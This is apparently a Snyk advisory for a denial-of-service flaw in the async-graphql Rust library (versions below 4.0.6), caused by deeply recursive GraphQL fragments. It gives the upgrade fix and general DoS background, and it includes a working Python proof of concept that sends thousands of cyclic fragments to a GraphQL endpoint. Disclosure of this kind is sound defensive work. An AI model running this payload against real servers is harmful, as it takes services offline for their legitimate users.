Denial of Service (DoS) Affecting async-graphql package, versions <4.0.6

  • Exploit Maturity

    Proof of concept

  • Attack Complexity


  • Availability


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  • snyk-id


  • published

    31 Jul 2022

  • disclosed

    29 Jul 2022

  • credit

    MdotTIM, Karim Reda, c3b5aw

How to fix?

Upgrade async-graphql to version 4.0.6 or higher.


async-graphql is a GraphQL server library

Affected versions of this package are vulnerable to Denial of Service (DoS) when processing deeply recursive GraphQL fragments.


import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql&#39;

max_size = 7500 perms = [''.join(p) for p in permutations('abcefghijk')] perms = perms[:max_size]

fragment_payloads = '' for i, perm in enumerate(perms): next_perm = perms[i+1] if i < max_size-1 else perms[0] fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = { 'Content-Type': 'application/json', }

try: response = requests.request('POST', url, headers=headers, json=payload) print(response.text) except requests.exceptions.ConnectionError: print('Connection closed, POC worked.')


Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package